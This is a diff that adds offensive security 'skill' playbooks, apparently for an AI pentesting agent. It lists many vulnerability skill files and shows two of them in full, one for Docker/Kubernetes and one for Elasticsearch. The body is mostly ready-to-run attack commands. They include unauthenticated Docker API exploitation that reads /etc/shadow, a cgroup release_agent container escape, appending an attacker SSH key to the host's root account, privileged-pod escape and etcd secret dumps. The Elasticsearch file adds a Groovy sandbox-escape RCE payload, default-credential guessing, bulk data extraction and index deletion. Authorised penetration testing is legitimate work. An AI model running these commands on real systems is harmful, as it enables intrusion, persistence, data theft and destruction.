  291. package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
  292. package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
  293. package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
  294. package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
  295. package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
  296. package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
  297. package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
  298. package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
  299. package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
  300. package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
  301. package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
  302. package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
  303. package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
  304. package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
  305. package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
  306. package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
  307. package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
  308. package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
  309. package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
  310. package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
  311. package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
  312. package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
  313. package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
  314. package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
  315. package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
  316. package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
  317. package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
  318. package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
  319. package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
  320. package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
  321. package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
  322. package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
  323. package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
  324. package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
  325. package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
  326. package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
  327. package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
  328. package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
  329. package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
  330. package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
  331. package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
  332. package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
  333. package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
  334. package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
  335. package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
  336. package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
  337. package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
  338. package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
  339. package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
  340. package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
  341. package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
  342. package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
  343. package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
  344. package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
  345. package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
@@ -0,0 +1,266 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: docker-container
5
+ description: Security testing playbook for Docker and container environments covering container escape, privileged containers, exposed Docker API, misconfigurations, and Kubernetes enumeration
6
+ ---
7
+
8
+ # Docker / Container Security Testing
9
+
10
+ Containers are frequently misconfigured in production. Attack surface: exposed Docker daemon API (direct RCE), privileged container escape, mounted host paths, weak seccomp/AppArmor, and Kubernetes RBAC misconfigurations.
11
+
12
+ ---
13
+
14
+ ## Reconnaissance
15
+
16
+ ### Discovery
17
+
18
+ # Port scanning for Docker/container services
19
+ nmap -p 2375,2376,4243,8080,8443,10250,10255,6443,2379 <target> -sV --open
20
+
21
+ # Ports:
22
+ # 2375 — Docker daemon (HTTP, no TLS — CRITICAL if exposed)
23
+ # 2376 — Docker daemon (HTTPS with TLS)
24
+ # 4243 — Alternate Docker daemon
25
+ # 10250 — Kubernetes kubelet API
26
+ # 10255 — Kubernetes kubelet read-only
27
+ # 6443 — Kubernetes API server
28
+ # 2379 — etcd (Kubernetes state store)
29
+
30
+ ---
31
+
32
+ ## Exposed Docker API (Remote Code Execution)
33
+
34
+ Docker API on port 2375 with no TLS = instant RCE:
35
+
36
+ # Test connection
37
+ curl http://<target>:2375/version
38
+ curl http://<target>:2375/info
39
+
40
+ # List containers
41
+ curl http://<target>:2375/containers/json
42
+ curl http://<target>:2375/containers/json?all=true
43
+
44
+ # List images
45
+ curl http://<target>:2375/images/json
46
+
47
+ # RCE: Create and run a privileged container mounting host filesystem
48
+ curl -X POST http://<target>:2375/containers/create \
49
+ -H "Content-Type: application/json" \
50
+ -d '{
51
+ "Image": "alpine",
52
+ "Cmd": ["chroot", "/host", "bash", "-c", "id && cat /etc/shadow"],
53
+ "HostConfig": {
54
+ "Binds": ["/:/host"],
55
+ "Privileged": true
56
+ }
57
+ }' | python3 -m json.tool
58
+
59
+ # Start the container (replace <id> with returned container ID):
60
+ curl -X POST http://<target>:2375/containers/<id>/start
61
+
62
+ # Get output (attach to container logs):
63
+ curl http://<target>:2375/containers/<id>/logs?stdout=true
64
+
65
+ # Using Docker CLI directly:
66
+ docker -H tcp://<target>:2375 run -it --privileged --pid=host alpine nsenter -t 1 -m -u -n -i sh
67
+
68
+ ---
69
+
70
+ ## Container Escape Techniques
71
+
72
+ ### Privileged Container Escape
73
+
74
+ # Check if running in privileged container:
75
+ cat /proc/1/status | grep CapEff
76
+ # CapEff: 0000003fffffffff = full capabilities = privileged
77
+
78
+ # Mount host filesystem via cgroup:
79
+ mkdir /tmp/cgroup && mount -t cgroup -o memory none /tmp/cgroup
80
+ mkdir /tmp/cgroup/x
81
+ echo 1 > /tmp/cgroup/x/notify_on_release
82
+ host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
83
+ echo "$host_path/cmd" > /tmp/cgroup/release_agent
84
+ echo "#!/bin/sh" > /cmd
85
+ echo "id > $host_path/output" >> /cmd
86
+ chmod a+x /cmd
87
+ sh -c "echo \$\$ > /tmp/cgroup/x/cgroup.procs"
88
+ cat /output
89
+
90
+ # Mount host device (privileged):
91
+ fdisk -l # Find host disk (usually /dev/sda1 or /dev/xvda1)
92
+ mkdir /host
93
+ mount /dev/sda1 /host
94
+ cat /host/etc/shadow # Host password hashes
95
+
96
+ # Add SSH key to host root:
97
+ echo "ssh-rsa AAAA... attacker" >> /host/root/.ssh/authorized_keys
98
+
99
+ ### Escape via Mounted Docker Socket
100
+
101
+ # Check if Docker socket is mounted in container:
102
+ ls -la /var/run/docker.sock
103
+ # If exists = full Docker control = host escape
104
+
105
+ # Use socket to spawn host-privileged container:
106
+ docker -H unix:///var/run/docker.sock run -it --privileged \
107
+ --pid=host --ipc=host --net=host \
108
+ -v /:/host alpine chroot /host
109
+
110
+ # Or install docker client first:
111
+ apt-get install -y docker.io || apk add docker
112
+ docker -H unix:///var/run/docker.sock ps
113
+
114
+ ### Escape via Kernel Vulnerabilities
115
+
116
+ # Check kernel version for known exploits:
117
+ uname -r
118
+ # Notable container escape CVEs:
119
+ # CVE-2022-0847 (DirtyPipe) — Kernel 5.8-5.16.11
120
+ # CVE-2019-5736 (runc) — Overwrite runc binary
121
+ # CVE-2019-14271 (Docker) — Shared library injection
122
+
123
+ # runc escape (CVE-2019-5736):
124
+ # Overwrite /proc/self/exe during exec → overwrites host runc binary
125
+ # Tools: https://github.com/Frichetten/CVE-2019-5736-PoC
126
+
127
+ ---
128
+
129
+ ## Container Enumeration (From Inside)
130
+
131
+ # Detect if inside a container
132
+ cat /proc/1/cgroup | grep -i docker
133
+ cat /.dockerenv # File exists = Docker container
134
+ ls -la /run/.containerenv # Podman indicator
135
+
136
+ # Environment variables (may contain secrets)
137
+ env | grep -iE "key|token|secret|password|pass|api|db|url"
138
+ cat /proc/1/environ | tr '\0' '\n' | grep -iE "key|token|secret|password"
139
+
140
+ # Mounted secrets
141
+ find / -name "*.key" -o -name "*.pem" -o -name "secrets" 2>/dev/null
142
+ cat /run/secrets/* # Docker Swarm secrets
143
+ ls /var/run/secrets/kubernetes.io/serviceaccount/ # Kubernetes SA token
144
+
145
+ # Network neighbors (other containers)
146
+ ip route # Subnet reveals container network
147
+ cat /etc/hosts # Other containers
148
+ nmap -sn <container_subnet>/24 # Scan container network
149
+
150
+ ---
151
+
152
+ ## Kubernetes Attacks (From Within a Pod)
153
+
154
+ ### Service Account Token Exploitation
155
+
156
+ # Default SA token mounted at:
157
+ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
158
+ NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
159
+ CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
160
+
161
+ # Query K8s API:
162
+ curl -s https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods \
163
+ -H "Authorization: Bearer $TOKEN" --cacert $CACERT
164
+
165
+ # Check permissions:
166
+ curl -s https://kubernetes.default.svc/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
167
+ -H "Authorization: Bearer $TOKEN" --cacert $CACERT \
168
+ -H "Content-Type: application/json" -d '
169
+ {"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview",
170
+ "spec":{"resourceAttributes":{"verb":"list","resource":"pods"}}}'
171
+
172
+ # Using kubectl:
173
+ kubectl --token=$TOKEN --certificate-authority=$CACERT \
174
+ -s https://kubernetes.default.svc auth can-i --list
175
+
176
+ ### Kubernetes Privilege Escalation
177
+
178
+ # Create privileged pod to escape to host:
179
+ kubectl --token=$TOKEN apply -f - <<EOF
180
+ apiVersion: v1
181
+ kind: Pod
182
+ metadata:
183
+ name: escape
184
+ spec:
185
+ hostPID: true
186
+ hostNetwork: true
187
+ containers:
188
+ - name: escape
189
+ image: alpine
190
+ command: ["nsenter", "--mount=/proc/1/ns/mnt", "--", "sh"]
191
+ securityContext:
192
+ privileged: true
193
+ EOF
194
+
195
+ # Access pod:
196
+ kubectl --token=$TOKEN exec -it escape -- sh
197
+
198
+ ---
199
+
200
+ ## Kubernetes External API Attacks
201
+
202
+ # Anonymous access to Kubernetes API:
203
+ curl -sk https://<k8s-api>:6443/api/v1/namespaces/default/pods
204
+ curl -sk https://<k8s-api>:6443/version
205
+
206
+ # Kubelet read-only API (port 10255):
207
+ curl http://<node>:10255/pods # Lists all pods (no auth!)
208
+ curl http://<node>:10255/stats/summary
209
+
210
+ # Kubelet API (port 10250):
211
+ curl -sk https://<node>:10250/pods
212
+ # Run command on pod (if anonymous allowed):
213
+ curl -sk https://<node>:10250/run/<namespace>/<pod>/<container> \
214
+ -d "cmd=id"
215
+
216
+ # etcd access (port 2379):
217
+ etcdctl --endpoints=http://<target>:2379 get / --prefix --keys-only
218
+ etcdctl --endpoints=http://<target>:2379 get /registry/secrets --prefix
219
+ # Contains Kubernetes secrets in base64!
220
+
221
+ ---
222
+
223
+ ## Docker Compose / Config File Exposure
224
+
225
+ # Look for exposed Docker configuration:
226
+ GET /docker-compose.yml
227
+ GET /docker-compose.yaml
228
+ GET /.docker/config.json # Registry credentials!
229
+ GET /Dockerfile
230
+
231
+ # Registry credentials in config.json:
232
+ cat ~/.docker/config.json
233
+ # Contains base64-encoded registry auth credentials
234
+
235
+ ---
236
+
237
+ ## Container Image Analysis
238
+
239
+ # Pull and analyze image locally:
240
+ docker pull <image>:<tag>
241
+ docker history <image>:<tag> # Layer commands (may reveal secrets added then deleted)
242
+ docker inspect <image>:<tag> # Env vars, exposed ports, volumes
243
+
244
+ # Extract image filesystem:
245
+ docker save <image> | tar -xf - -C /tmp/image_layers/
246
+ find /tmp/image_layers/ -name "*.tar" -exec tar -tf {} \; | grep -iE "password|secret|key"
247
+
248
+ # Tools for image scanning:
249
+ trivy image <image>:<tag> # CVE + secret scanning
250
+ trufflehog docker --image <image> # Secret scanning in image history
251
+
252
+ ---
253
+
254
+ ## Pro Tips
255
+
256
+ 1. Docker daemon on port 2375 (no TLS) = instant host takeover — always check first
257
+ 2. Mounted Docker socket (`/var/run/docker.sock`) inside a container = full host escape
258
+ 3. `cat /proc/1/environ` reveals environment variables including secrets
259
+ 4. Kubernetes pod default SA token + `list pods` permission → cluster-wide enumeration
260
+ 5. Kubelet read-only API (port 10255) often accessible without auth — lists all pods
261
+ 6. etcd on port 2379 without TLS = all Kubernetes secrets in plaintext
262
+ 7. `docker history` reveals sensitive data in layers even if files were deleted in later layers
263
+
264
+ ## Summary
265
+
266
+ Container testing = Docker API on 2375 (no TLS) → instant RCE + privileged container escape via `/dev/sda` mount + Docker socket mount → host escape. Inside K8s pods: service account token → API enumeration → privileged pod creation → host escape. etcd exposure is often overlooked but contains all cluster secrets in base64. Always scan the container subnet for other accessible services after initial access.
@@ -0,0 +1,226 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: elasticsearch
5
+ description: Security testing playbook for Elasticsearch covering unauthenticated access, data extraction, index enumeration, and Kibana security misconfigurations
6
+ ---
7
+
8
+ # Elasticsearch Security Testing
9
+
10
+ Elasticsearch is notorious for misconfigured public access — billions of records have been exposed via open Elasticsearch instances. Attack surface: no authentication by default (old versions), full data extraction, Kibana admin access, and Groovy/Painless script injection.
11
+
12
+ ---
13
+
14
+ ## Reconnaissance
15
+
16
+ ### Discovery
17
+
18
+ # Port scanning
19
+ nmap -p 9200,9300,5601 <target> -sV --open
20
+
21
+ # Ports:
22
+ # 9200 — Elasticsearch REST API (HTTP)
23
+ # 9300 — Elasticsearch transport/cluster
24
+ # 5601 — Kibana web interface
25
+
26
+ # Shodan dorking:
27
+ port:9200 elasticsearch
28
+ product:"Elastic" port:9200
29
+
30
+ ---
31
+
32
+ ## Unauthenticated Access Check
33
+
34
+ # Basic cluster info — if this works, no auth required
35
+ curl -s http://<target>:9200/
36
+ # Returns: cluster name, version, cluster UUID
37
+
38
+ # Health check
39
+ curl -s http://<target>:9200/_cluster/health?pretty
40
+
41
+ # If auth required (Elasticsearch 8.x default):
42
+ curl -u elastic:changeme http://<target>:9200/
43
+ curl -u elastic:elastic http://<target>:9200/
44
+ curl -u admin:admin http://<target>:9200/
45
+
46
+ ---
47
+
48
+ ## Index Enumeration
49
+
50
+ # List all indices
51
+ curl -s http://<target>:9200/_cat/indices?v
52
+ curl -s http://<target>:9200/_cat/indices?h=index,docs.count,store.size
53
+
54
+ # List indices matching pattern
55
+ curl -s "http://<target>:9200/_cat/indices/user*?v"
56
+ curl -s "http://<target>:9200/_cat/indices/log*?v"
57
+
58
+ # High-value index names to look for:
59
+ # users, accounts, customers, employees, orders, payments, credentials
60
+ # logs, audit, access_log, firewall, siem
61
+ # emails, messages, documents, files
62
+
63
+ # Count documents in an index
64
+ curl -s "http://<target>:9200/<index>/_count"
65
+
66
+ ---
67
+
68
+ ## Data Extraction
69
+
70
+ # Get index mapping (field names and types — reveals schema)
71
+ curl -s "http://<target>:9200/<index>/_mapping?pretty"
72
+
73
+ # Get first 10 documents
74
+ curl -s "http://<target>:9200/<index>/_search?pretty&size=10"
75
+
76
+ # Get all documents (scroll for large indices):
77
+ curl -s "http://<target>:9200/<index>/_search?size=10000&pretty"
78
+
79
+ # Search for sensitive keywords across all indices:
80
+ curl -s 'http://<target>:9200/_all/_search?q=password&pretty'
81
+ curl -s 'http://<target>:9200/_all/_search?q=secret&pretty'
82
+ curl -s 'http://<target>:9200/_all/_search?q=apikey&pretty'
83
+
84
+ # Get a specific document by ID:
85
+ curl -s "http://<target>:9200/<index>/_doc/<id>?pretty"
86
+
87
+ # Get specific fields only:
88
+ curl -s "http://<target>:9200/<index>/_search?pretty" -d '
89
+ {
90
+ "_source": ["username", "email", "password"],
91
+ "query": {"match_all": {}}
92
+ }'
93
+
94
+ ---
95
+
96
+ ## Cluster Information Disclosure
97
+
98
+ # Cluster settings (may reveal auth/TLS config)
99
+ curl -s "http://<target>:9200/_cluster/settings?pretty&include_defaults=true"
100
+
101
+ # Node info (OS, JVM, network details)
102
+ curl -s "http://<target>:9200/_nodes?pretty"
103
+ curl -s "http://<target>:9200/_nodes/stats?pretty"
104
+
105
+ # Shard allocation
106
+ curl -s "http://<target>:9200/_cat/shards?v"
107
+
108
+ # Pending tasks
109
+ curl -s "http://<target>:9200/_cluster/pending_tasks?pretty"
110
+
111
+ # Ingest pipelines (may contain credentials/endpoints)
112
+ curl -s "http://<target>:9200/_ingest/pipeline?pretty"
113
+
114
+ # Snapshots (backups — may be restorable)
115
+ curl -s "http://<target>:9200/_snapshot?pretty"
116
+ curl -s "http://<target>:9200/_snapshot/<repo>/_all?pretty"
117
+
118
+ ---
119
+
120
+ ## Kibana Exposure
121
+
122
+ # Kibana web interface
123
+ GET http://<target>:5601/
124
+
125
+ # Kibana default credentials:
126
+ elastic:changeme (ES 5.x/6.x)
127
+ elastic:elastic
128
+ kibana:kibana
129
+
130
+ # Kibana API (useful when Kibana is accessible):
131
+ GET http://<target>:5601/api/status # Kibana version + status
132
+ GET http://<target>:5601/api/saved_objects/_find?type=dashboard&per_page=100
133
+ GET http://<target>:5601/api/saved_objects/_find?type=index-pattern
134
+
135
+ # Kibana console (execute Elasticsearch queries directly):
136
+ POST http://<target>:5601/api/console/proxy?path=/_cat/indices&method=GET
137
+
138
+ ---
139
+
140
+ ## Script Injection (Painless / Groovy)
141
+
142
+ Elasticsearch allows scripted queries — if user input reaches script context:
143
+
144
+ # Painless script injection (Elasticsearch 5+):
145
+ {
146
+ "script": {
147
+ "lang": "painless",
148
+ "source": "Math.max(params.a, params.b)",
149
+ "params": {"a": 1, "b": 2}
150
+ }
151
+ }
152
+
153
+ # RCE attempts (sandboxed in modern ES, but test older versions):
154
+ # Groovy (Elasticsearch 1.x/2.x — NOT sandboxed):
155
+ curl -X POST "http://<target>:9200/_search" -d '
156
+ {
157
+ "size": 1,
158
+ "query": {
159
+ "filtered": {
160
+ "query": {
161
+ "match_all": {}
162
+ }
163
+ }
164
+ },
165
+ "script_fields": {
166
+ "my_field": {
167
+ "script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getMethod(\"exec\",\"a string\".getClass()).invoke(java.lang.Math.class.forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"id\")"
168
+ }
169
+ }
170
+ }'
171
+
172
+ # CVE-2014-3120 / CVE-2015-1427: Groovy sandbox escape → RCE
173
+ nuclei -t cves/2014/CVE-2014-3120.yaml -u http://<target>:9200/
174
+
175
+ ---
176
+
177
+ ## Data Destruction / Modification
178
+
179
+ # Delete an index (if write access)
180
+ curl -X DELETE "http://<target>:9200/<index>"
181
+
182
+ # Delete all data
183
+ curl -X DELETE "http://<target>:9200/*" # DESTRUCTIVE — confirm scope
184
+
185
+ # Create/modify document (unauthorized write access):
186
+ curl -X PUT "http://<target>:9200/<index>/_doc/1" -H 'Content-Type: application/json' -d '
187
+ {"modified": "by attacker"}'
188
+
189
+ ---
190
+
191
+ ## Automated Scanning
192
+
193
+ # esearch / elasticsearch-dump for bulk extraction
194
+ elasticdump --input=http://<target>:9200/<index> --output=output/es_data.json --type=data
195
+
196
+ # nuclei templates for ES:
197
+ nuclei -t exposures/apis/elasticsearch.yaml -u http://<target>:9200/
198
+ nuclei -t cves/ -tags elasticsearch -u http://<target>:9200/
199
+
200
+ # Automated ES scanner:
201
+ python3 -c "
202
+ import requests, json
203
+ base = 'http://<target>:9200'
204
+ indices = requests.get(f'{base}/_cat/indices?format=json').json()
205
+ for idx in indices:
206
+ name = idx['index']
207
+ count = idx.get('docs.count', 0)
208
+ size = idx.get('store.size', '0')
209
+ print(f'{name}: {count} docs, {size}')
210
+ "
211
+
212
+ ---
213
+
214
+ ## Pro Tips
215
+
216
+ 1. Elasticsearch 7.x and below have no authentication by default — check immediately
217
+ 2. List indices first (`_cat/indices?v`) to identify the most valuable data before extracting
218
+ 3. Search for sensitive keywords across all indices: `_all/_search?q=password`
219
+ 4. Kibana on port 5601 often has weaker security than the ES API itself
220
+ 5. Ingest pipelines may contain webhook URLs, credentials, or API keys
221
+ 6. Snapshot repositories may point to S3 buckets — check for accessible backup files
222
+ 7. Groovy scripting (ES 1.x/2.x) is completely unprotected — immediate RCE
223
+
224
+ ## Summary
225
+
226
+ Elasticsearch testing = unauthenticated access check + `_cat/indices` listing + targeted data extraction via `_search`. Open Elasticsearch instances are the most common cause of massive data breaches. Always enumerate indices by name, extract mappings to understand the schema, then target sensitive indices (users, payments, logs). Search for `password`, `secret`, `token` across all indices with `_all/_search?q=password`.